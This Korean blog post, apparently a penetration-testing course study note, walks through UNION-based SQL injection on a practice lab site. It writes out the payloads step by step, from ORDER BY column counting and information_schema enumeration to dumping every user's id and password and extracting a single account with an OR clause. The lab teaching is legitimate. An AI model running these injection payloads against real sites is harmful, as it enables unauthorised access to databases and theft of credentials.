예제를 통해서 알아보는 UNION based SQLi 구문 실행 방법. 모의해킹 6주차 강의에 대한 정리.
UNION based SQL Injection
<목차>
글을 들어가기 앞서, Union based SQL Injection이 무엇인지는 따로 설명하지 않는다. 추가 설명이 필요하다면, 아래 블로그 글을 참조하자.
[정보보안] SQL Injection 이란?
SQL Injection의 작동 원리와 방법에 대해 알아보자!모의해킹 스터디 5주차 강의 내용에 대한 정리.SQL Injection 이란? 1. SQL이란? 2. SQL Injection 이란? 3. 공격의 종류와 방법 SQL 이란 ? ▶ Structured Query La
yyz-code.tistory.com
SQL Injection Point
▶ SQLi를 수행하기 전 체크할 2 가지 조건
해당 기법은 아래 두 조건에 따라, 접근 방법이 달라진다.
- 데이터베이스를 사용하는가?
- DB 데이터를 화면에 출력할 수 있는가?
- 출력 가능한 곳 : 예) 게시판 등
- 출력 불가한 곳 : 예) 로그인 페이지, 아이디 중복체크 페이지 등
▶ SQLi는 데이터베이스를 사용하지 않는 곳에서는 사용할 수 없다.
- SQL 문법이라는 데이터베이스에 사용되는 언어의 헛점을 이용한 공격이기 때문이다.
- 그 중, Union Based 는 DB 데이터를 화면에 출력할 수 있는 곳에 주로 쓰인다.
데이터 추출 프로세스
총 7 단계를 거쳐 데이터를 추출할 수 있다. 이 순서대로 따라가는 자세한 과정은, 아래 예제를 통해 자세히 알아보자.
- SQL Injection 포인트 찾기
- Colum 개수 찾기
- 출력되는 column 위치 찾기
- DB 이름 확인
- Table 이름 확인
- Column 이름 확인
- Data 추출
<예제1> 모든 데이터 추출하기
위에서 설명한 프로세스 대로, 아래 페이지에서 데이터를 추출해보자.
추출할 데이터 : 해당 페이지를 이용하는 모든 사람의 id 와 password
▶ 페이지 화면
1. Injection 포인트 찾기
▶ 페이지 검색 시 실행되는 쿼리
SELECT * FROM game WHERE name LIKE '%Overwatch%';
▶ Injection 포인트
SELECT * FROM game WHERE name LIKE '%Overwatch%' AND '1%'='1%';
// Overwatch data 검색 성공
SELECT * FROM game WHERE name LIKE '%Overwatch%' AND '1%'='2%';
// echo "<script>alert='결과가 존재하지 않습니다'</script>";
// 검색 실패
SQLi 가 가능하며, 조건이 참일때 값을 반환한다.
2. Column 개수 찾기
▶ Order by 함수를 이용하여 컬럼 개수를 확인한다
SELECT * FROM game WHERE name LIKE '%Overwatch%' ORDER BY 1 #%';
위 코드에서 숫자 1 부터 차례대로 대입하여, 검색이 실패할때 까지 진행한다.
Order by 4 # 까지만 검색에 성공함으로, 총 4개의 컬럼이 존재함을 알 수 있다.
3. 출력되는 Column 위치 찾기
UNION SELECT 구문을 활용하여, 어떠한 컬럼이 화면에 출력되는지 확인한다.
SELECT * FROM game WHERE name LIKE '%over%' UNION SELECT 1,2,3,4#%'
첫 번째 컬럼은 화면에 출력되지 않고, 2 ~ 4 번째 컬럼이 화면에 출력되는 것을 알 수 있다.
이후 불러올 데이터는 첫 번째 컬럼을 제외한, 나머지 컬럼에 불러와야 한다.
4. DB 이름 찾기
▶ database() 함수를 이용하여 데이터베이스 이름을 찾아보자
SELECT * FROM game WHERE name LIKE '%over%' UNION SELECT 1,database(),3,4#%'
두 번째 컬럼에서 데이터베이스 이름을 확인했다 : segfault_sql
5. Table 이름 확인
▶ Information Schema란 ?
MySQL 서버 내에 존재하는 DB의 메타 정보 (테이블, 컬럼, 인덱스 등)를 저장하는 DB 이다.
* 명령어를 구성하는 방법은 데이터베이스 별로 다르다.
데이터베이스(DB) 종류 별 명령어 정리
MS-SQL * MS-SQL은 각 개별 데이터베이스별로 시스템 뷰가 존재하기 때문에 데이터베이스명으로 필터링할 필요 없음 데이터베이스 조회 SELECT * FROM sys.sysdatabases SELECT name, database_id, create_date FROM sys.da
noirstar.tistory.com
위 페이지는 MySQL 데이터베이스를 사용하기에, 이를 기반으로 찾아보았다.
SELECT * FROM game WHERE name LIKE '%over%' UNION SELECT 1,table_name,3,4 FROM information_schema.tables WHERE table_schema='segfault_sql'#%'
- information_schema.tables : 테이블 이름을 저장하는 DB
- information_schema.columns : 컬럼 이름을 저장하는 DB
- table_schema='DB 이름' 으로 데이터베이스를 특정하는 이유는, 해당 구문이 없으면 모든 데이터베이스에 있는 모든 테이블 이름을 불러오기에, 원하는 데이터가 어디에 있는지 알 수 없기 때문이다.
segfault_sql 데이터베이스 안에는 game, member, secret, secret_member 이라는 테이블로 이루어져 있음을 보여준다.
6. Column 이름 확인
SELECT * FROM game WHERE name LIKE '%over%' UNION SELECT 1,column_name,3,4 FROM information_schema.columns WHERE table_name='member'#%'
Column 이름 : user_id, user_pass, name, user_level, info, id, pass, email (총 8개의 컬럼이 존재한다)
7. Data 추출
SELECT * FROM game WHERE name LIKE '%over%' UNION SELECT 1,id,pass,4 FROM member#%';
위의 이미지와 같이, member 테이블에 있는 모든 id와 pass 정보를 가져왔다.
<예제2> 특정 데이터 추출하기
추출할 데이터 : 데이터베이스에 저장된 정보 중 id : doldol의 정보만 추출하라
* 조건 : 해당 페이지의 기본 SQL 쿼리는 아래와 같다. Input 이전의 정보는 변경할 수 없다.
SELECT * FROM member WHERE id = 'normaltic' AND pass = 'Input';
1. SQL Injection 포인트 찾기
SELECT * FROM member WHERE id = 'normaltic' AND pass = 'pass' OR '1'='1';
SQL Injection 이 가능하며, 여러 데이터를 한 번에 불러올 수 있다.
* 아래 실행한 것은 사실 문제에서 member 테이블에 정보가 있다는 것을 보여줬기 때문에, 생략이 가능했다.
생략된 부분을 보고싶다면 <더보기> 클릭.
데이터 추출하는 부분으로 이동.
2. Column 개수 찾기
SELECT * FROM member WHERE id = 'normaltic' AND pass = '1234' ORDER BY 4#;
- AND 구문은 무조건 참이 되어야 하기에, 기존에 찾은 normaltic의 비밀번호를 활용한다.
- ORDER BY 구문이 4까지 성공함으로, 총 4개의 컬럼이 존재한다.

3. 출력되는 column 위치 찾기
SELECT * FROM member WHERE id = 'normaltic' AND pass = '1234' UNION SELECT 1,2,3,4#;

총 4개의 컬럼이 모두 화면에 출력된다.
4. DB 이름 확인
SELECT * FROM member WHERE id = 'normaltic' AND pass = '1234' UNION SELECT 1,database(),3,4#;

데이터베이스 : segfault_sql
▶ 여기서 의문점 : 우리는 1번을 통해 모든 데이터를 찾았는데 왜 DB 이름을 찾고 있는가?
기존의 정보로 doldol 정보만 불러올 수 없나?
- 기존 예제 1을 통해, segfault_sql DB 안에 있는 테이블과 컬럼을 모두 찾았다.
- 위 정보는 member 테이블에 존재할 것 같다! 바로 Data 를 추출해보자!
- 만약 실패 시, 단계를 이어나간다.
5. OR 구문을 활용한 Data 추출
SELECT * FROM member WHERE id = 'normaltic' AND pass = '1111' OR (id='doldol' AND pass='aaaa')#
- 1번을 통해, 해당 페이지에서 OR 구문을 활용할 수 있음을 알았다.
- OR () 구문을 통해 총 2개의 구문으로 나눈다
- id - normaltic, pass - 1111 인 데이터를 찾거나
- id - doldol, pass - aaaa 인 데이터를 찾아 반환한다.
- 기존 쿼리문은 일부러 거짓이 되게 작성하여, 원하는 doldol의 정보만 표시되도록 표현했다.
'IT 성장기 (교육이수) > 모의해킹 스터디 (2024.04-09)' 카테고리의 다른 글
[정보보안] Error based & Blind SQL Injection 실행 방법 (0) | 2024.07.02 |
---|---|
[webDev] 로그인 로직 구성 (식별과 인증) (0) | 2024.05.26 |
[정보보안] SQL Injection 이란? (0) | 2024.05.25 |
[webDev] 식별과 인증 (Identification vs. Authentication) (0) | 2024.05.04 |
[webDev] Mysql 데이터베이스 - PhpMyadmin & 명령어 (0) | 2024.04.30 |